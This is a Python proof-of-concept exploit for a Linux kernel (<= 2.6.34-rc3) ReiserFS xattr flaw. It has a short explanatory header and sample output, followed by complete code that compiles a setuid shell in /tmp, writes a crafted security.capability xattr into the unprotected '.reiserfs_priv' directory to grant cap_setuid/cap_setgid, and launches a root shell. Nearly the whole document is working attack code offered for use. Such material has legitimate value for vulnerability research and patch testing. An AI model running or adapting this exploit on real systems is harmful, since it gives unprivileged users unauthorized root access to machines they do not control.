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m-edward.py
Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
Jon Oberheide <jon@oberheide.org>
http://jon.oberheide.org
Information:
https://bugzilla.redhat.com/show_bug.cgi?id=568041
The kernel allows processes to access the internal ".reiserfs_priv"
directory at the top of a reiserfs filesystem which is used to store
xattrs. Permissions are not enforced in that tree, so unprivileged
users can view and potentially modify the xattrs on arbitrary files.
Usage:
$ python team-edward.py
[+] checking for reiserfs mount with user_xattr mount option
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs
[+] preparing shell in /tmp
[+] capturing pre-shell snapshot of private xattrs directory
[+] compiling shell in /tmp
[+] setting dummy xattr to get reiserfs object id
[+] capturing post-shell snapshot of private xattrs directory
[+] found 1 new object ids
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
[+] spawning setuid shell...
# id
uid=0(root) gid=0(root) groups=4(adm), ...
Notes:
Obviously requires a ReiserFS filesystem mounted with extended attributes.
Tested on Ubuntu Jaunty 9.10.
'''
import os, sys
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
def err(txt):
print '[-] error: %s' % txt
sys.exit(1)
def msg(txt):
print '[+] %s' % txt
def main():
msg('checking for reiserfs mount with user_xattr mount option')
f = open('/etc/fstab')
for line in f:
if 'reiserfs' in line and 'user_xattr' in line:
break
else:
err('failed to find a reiserfs mount with user_xattr')
f.close()
msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
if not os.path.exists('/.reiserfs_priv/xattrs'):
err('failed to locate private xattrs directory')
msg('preparing shell in /tmp')
f = open('/tmp/team-edward.c', 'w')
f.write(SHELL)
f.close()
msg('capturing pre-shell snapshot of private xattrs directory')
pre = set(os.listdir('/.reiserfs_priv/xattrs'))
msg('compiling shell in /tmp')
ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
if ret != 0:
err('error compiling shell, you need gcc')
msg('setting dummy xattr to get reiserfs object id')
os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
if ret != 0:
err('error setting xattr, you need setfattr')
msg('capturing post-shell snapshot of private xattrs directory')
post = set(os.listdir('/.reiserfs_priv/xattrs'))
objs = post.difference(pre)
msg('found %s new object ids' % len(objs))
for obj in objs:
msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
f.write(XATTR)
f.close()
msg('spawning setuid shell...')
os.system('/tmp/team-edward')
if __name__ == '__main__':
main()
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